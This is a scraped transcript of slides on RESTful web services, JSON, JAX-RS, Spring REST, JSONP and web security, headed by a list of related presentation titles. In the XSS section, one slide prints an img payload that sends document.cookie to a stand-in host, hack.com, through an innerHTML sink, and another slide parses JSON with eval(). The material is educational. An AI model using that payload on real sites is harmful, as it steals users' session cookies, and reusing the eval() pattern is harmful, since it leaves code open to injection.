By Loukik Purohit & Rohit Ghatol

Slides:



Advertisements
Similar presentations
RESTFul Web Services The Easy Way. What is REST? Representational State Transfer Maps your CRUD actions to HTTP verbs ActionVerb CreatePOST RetrieveGET.
Advertisements

Pierre-Johan CHARTRE Java EE - JAX-RS - Pierre-Johan CHARTRE
Widget Summit: Advanced JavaScript Joseph Smarr Plaxo, Inc. October 16, 2007.
Behzad Samin 0 An End-to-End Overview of a RESTful Web Service.
Nick Feamster CS 6262 Spring 2009
Representational State Transfer (REST): Representing Information in Web 2.0 Applications this is the presentation Emilio F Zegarra CS 2650.
Building and using REST information services Rion Dooley.
Fawaz Ghali AJAX: Web Programming's Toy.
Web Toolkit Julie George & Ronald Lopez 1. Requirements  Java SDK version 1.5 or later  Apache Ant is also necessary to run command line arguments 
Path Cutter: Severing the Self-Propagation Path of XSS JavaScript Worms in Social Web Networks Yinzhi Cao, Vinod Yegneswaran, Phillip Porras, and Yan Chen.
Peter Laird. | 1 Getting Started Building Mashups using JavaScript, Ajax, and Google Maps Peter Laird Managing Architect WebLogic Portal BEA Systems.
DT228/3 Web Development WWW and Client server model.
IS 360 Course Introduction. Slide 2 What you will Learn (1) The role of Web servers and clients How to create HTML, XHTML, and HTML 5 pages suitable for.
Ajax / Rich Internet Applications ICW Lecture 21 Errol Thompson.
WHAT IS AJAX? Zack Sheppard [zts2101] WHIM April 19, 2011.
More APIs: Web Services CMPT 281. Announcements Project milestone Lab: – Web services examples.
1 Subspace: Secure Cross Domain Communication for Web Mashups Collin Jackson and Helen J. Wang Mamadou H. Diallo.
Web Services & Widgets Godmar Back. Mash-Ups Applications that combine information from different sources in one web page Different architectural choices.
Introduction to InfoSec – Recitation 10 Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il)
Prof. James A. Landay University of Washington Spring 2008 Web Interface Design, Prototyping, and Implementation Rich Internet Applications: AJAX, Server.
Agenda What is AJAX? What is jQuery? Demonstration/Tutorial Resources Q&A.
Presented by…. Group 2 1. Programming language 2Introduction.
Is Your Website Hackable? Check with Acunetix Web Vulnerability Scanner. Acunetix Web Vulnerability Scanner V9.
Computer Concepts 2014 Chapter 7 The Web and .
Christopher Paolini Computational Science Research Center College of Engineering San Diego State University Computational Science 670 Fall 2009 Monday.
Cross-Site Scripting Vulnerabilities Adam Doupé 11/24/2014.
WEB SECURITY WEEK 3 Computer Security Group University of Texas at Dallas.
Server-side Scripting Powering the webs favourite services.
AJAX Without the “J” George Lawniczak. What is Ajax?
BLUEPRINT: Robust Prevention of Cross-site Scripting Attacks for Existing Browsers Mike Ter Louw, V.N. Venkatakrishnan University of Illinois at Chicago.
1 Accelerated Web Development Course JavaScript and Client side programming Day 2 Rich Roth On The Net
Joseph Smarr - Cross-Site Ajax 1 Cross-Site Ajax Challenges and Techniques for Building Rich Web 2.0 Mashups Joseph Smarr Plaxo, Inc.
JavaScript – Quiz #9 Lecture Code:
Cross Site Integration “mashups” cross site scripting.
WEB SCIENCE. What is the difference between the Internet and the World Wide Web? Internet is the entire network of connected computers and routers used.
_______________________________________________________________________________________________________________ E-Commerce: Fundamentals and Applications1.
Web Applications Testing By Jamie Rougvie Supported by.
Asynchronous Javascript And XML AJAX : an introduction UFCEUS-20-2 : Web Programming.
University of Central Florida The Postman Always Rings Twice: Attacking & Defending postMessage in HTML5 Websites Ankur Verma University of Central Florida,
Vaibhav Rastogi and Yi Yang.  SOP is outdated  Netscape introduced this policy when most content on the Internet was static  Differences amongst different.
Ajax for Dynamic Web Development Gregory McChesney.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
JS (Java Servlets). Internet evolution [1] The internet Internet started of as a static content dispersal and delivery mechanism, where files residing.
AJAX James Kahng. Congrats Jack Guo for Angular entryentry This week’s coding challenge at end of talk.
Securing Angular Apps Brian Noyes
CSRF Attacks Daniel Chen 11/18/15. What is CSRF?  Cross Site Request Forgery (Sea-Surf)  AKA XSRF/ One Click / Sidejacking / Session Riding  Exploits.
PHP and AJAX. Servers and Clients For many years we tried to move as much as possible to the server. Weak clients, poor bandwidth, browser compatibility..
JavaScript, Sixth Edition Chapter 11 Updating Web Pages with Ajax.
The New Face of ASP.NET ASP.NET MVC, Razor, and jQuery Ido Flatow | Senior Architect | Sela | This session is.
1 ODF and Web Mashups Basic techniques Rob Weir, IBM :15.
National College of Science & Information Technology.
CS3220 Web and Internet Programming RESTful Web Service
Introduction to Information Security
Web API - Introduction AJAX, Spring Data REST SoftUni Team Web API
World Wide Web policy.
API Security Auditing Be Aware,Be Safe
Ad-blocker circumvention System
Lecture 11. Web Standards Continued
What is REST API ? A REST (Representational State Transfer) Server simply provides access to resources and the REST client accesses and presents the.
AJAX.
INFO 344 Web Tools And Development
Less Known Web Application Vulnerabilities
WEB API.
IS 360 Course Introduction
Introduction to AJAX and the migration toward applications
Riding Someone Else’s Wave with CSRF
Secure Web Programming
Chengyu Sun California State University, Los Angeles
Cross Site Request Forgery (CSRF)
Mike Ter Louw, V.N. Venkatakrishnan University of Illinois at Chicago
Presentation transcript:

By Loukik Purohit & Rohit Ghatol Restful Web Services By Loukik Purohit & Rohit Ghatol

Web Service Browser Messages(xml/json ) Desktop CricInfo Mobile

Using Browser User Intervention Cab Booking Plane Booking Hotel Booking Vacation Subsystem User Intervention

Automated Machines interacting with each other Cab Booking Plane Booking SMS/Email Hotel Booking Vacation Subsystem Machines interacting with each other

Rest in terms of Layman HR Accounts Admin

Organized structure To get address of user 1 , go to : \Organisation\Users\1\address

Same analogy applies to Web Request to get all users http://xyz.com/users Request to get user 1 http://xyz.com/users/1 Request to get address of user 1 http://xyz.com/users/1/address

Request-Response GET Response <users> <id>1</id> <name>Loukik</address> <address>Pune</address> <skill>java</skill> </id> <id>2</id> <name>...</address> <address>…</address> <skill>…</skill> </users> GET Request GET /users/1 HTTP/1.1 Host: xyz.com Accept: application/xml

Request-Response POST Response POST Request GET /users HTTP/1.1 Host: xyz.com Content Type: application/xml Accept: application/xml <users> <name>Rohit</address> <address>Pune</address> <skill>C++</skill> </id> </users> POST Response <result> <id>3</id> </result>

HTTP http://xyz.com/services/users HTTP Headers Method:PUT Accept:application/xml Content-Type:application/xml HTTP Body <users> <name>Rohit</address> <address>Pune</address> <skill>C++</skill> </id> </users>

Four verbs for every noun GET POST DELETE PUT http://example.com/customer/123

JSON Can Data be Represented in form of List and a Map?? Here’s JSON var myObject = eval('(' + myJSONtext + ')');

JSON Parser

How JSON looks like Accessing json in javascript code var result= { "users":[{ "id":"1", "name":"loukik", "address":"Pune", "skill":"java" }, { "id":"2", "name":"rohit", "skill":"C++“ } ] Accessing json in javascript code result.users[0].name=“loukik”

REST

Your Source to 3000+ Web Service APIs Programmable Web Your Source to 3000+ Web Service APIs

programmableweb.com

Implement Restful Webservice Write a Servlet Implement doGet, doPost, doDelete Write business logic Create your Messages, that too JSON

JAX-RS To rescue Marrying to API EJB Servlet Being POJO (Single) is Great! JAX-RS

JAX-RS JSR 311: JAX-RS More info at http://java.sun.com/javaee/6/docs/tutorial/doc/giepu.html

JAXB-@XMLRootElement JAX-RS Flow HTTP Request JSON POJO Model JAX-RS Servlet JAXB-@XMLRootElement Business Logic HTTP Response POJO Model JSON

Spring REST Based on Spring MVC

Spring REST Negotiated view-based rendering HTTP message converters

Enunciate Enunciate Your Web service API Your Web service API + Full HTML documentation + Client-side libraries Enunciate

What does Enunciate do for me? Java Doc C JAX-RS ObjC POJO Client SOAP Comm .Net GWT AMF Java Json What does Enunciate do for me?

Enunciate Enunciate is an engine for dramatically enhancing your Java Web service API. Enunciate is primarily a build-time tool. Develop your Web service API. Attach Enunciate to your build process.

Cross Site Scripting Single Origin Policy http://geochirp.com maps.google.com http://geochirp.com Ajax Calls twitter.com

Single Origin Policy Imposed by Browser Ajax Restrictions Accessing iFrame’s DOM http://www.abc.com ABC.com JavaScript Iframe http://xyz.com XYZ.com

So How to do Mashups? Use Proxy http://geochirp.com/proxy maps.google.com http://geochirp.com twitter.com

So How to do Mashups? Use JSONP http://geochirp.com maps.google.com JSONP Call twitter.com JSONP Call

AJAX Call Not Allowed By Browser What is JSONP? ABC.com ABC.com Static Script http://xyz.com/script.js XYZ.com XYZ.com JS Including Scripts hosted on other domains is allowed AJAX Call Not Allowed By Browser

AJAX Call Not Allowed By Browser What is JSONP? ABC.com ABC.com Dynamic Script http://xyz.com/services/users/1?callback=myfun XYZ.com XYZ.com JS Including Scripts hosted on other domains is allowed AJAX Call Not Allowed By Browser

JSONP Explained Single Origin Policy No Such Restriction http://xyz.com/services/users/1?callback=myfunc JSON JSONP { "id":"1", "name":"loukik", "address":"Pune", "skill":"java“ } myfunc({ "id":"1", "name":"loukik", "address":"Pune", "skill":"java“ }); Single Origin Policy No Such Restriction

JSONP Code Example

<html> <head> <script> function myfunc(data){ table <html> <head> <script> function myfunc(data){ table.update(data); } </script> </head> <body> <table> <!-- employee table --> <tr><td>Name </td><td> Address </td><td> Role</td></tr> <tr><td>Rohit </td><td> Pune </td><td> Architect</td></tr> <tr><td>Loukik </td><td> Pune </td><td>Geek</td></tr> </table> <button id="add employee" >Add </button> <button id="next100" >NExt 100</button> <script src="http://xyz.com/services/fetchemployess?page=1&jsonp=myfunc"></script> </body> </html>

XSS Attacker Hacked!!! ScrapBook WebSite User <script> attack script</script> Login Hacked!!! ScrapBook WebSite User

How to do XSS? Server needs an XSS Vulnerability What if I put an html with some JavaScript here? Server needs an XSS Vulnerability Say Dev uses div.innerHTML in code TextArea function postScrap(){ div.innerHTML = textarea.value; } Post DIV

How to do XSS? Server needs an XSS Vulnerability Say Dev uses div.innerHTML in code <h1>Look at this cool image</h1> <img src='http://hack.com/?cookie=" + encodeURI(document.cookie)'> </img> function postScrap(){ div.innerHTML = textarea.value; }

XSRF Cross Site Request Forgery. Unauthorized commands are transmitted from a user that the website trusts. Exploits the trust that a site has in a user's browser.

XSRF User ScrapBook WebSite Hacked!!! Attacker Login Opens Mail Send Mail with Script ScrapBook WebSite Hacked!!! Attacker

How to do XSRF Is it Possible? Browser holds your sessions What if I made you visit a page which uses your session to do hack? Is it Possible?

Aye Mate! How come I can use Google + and Facebook Like here?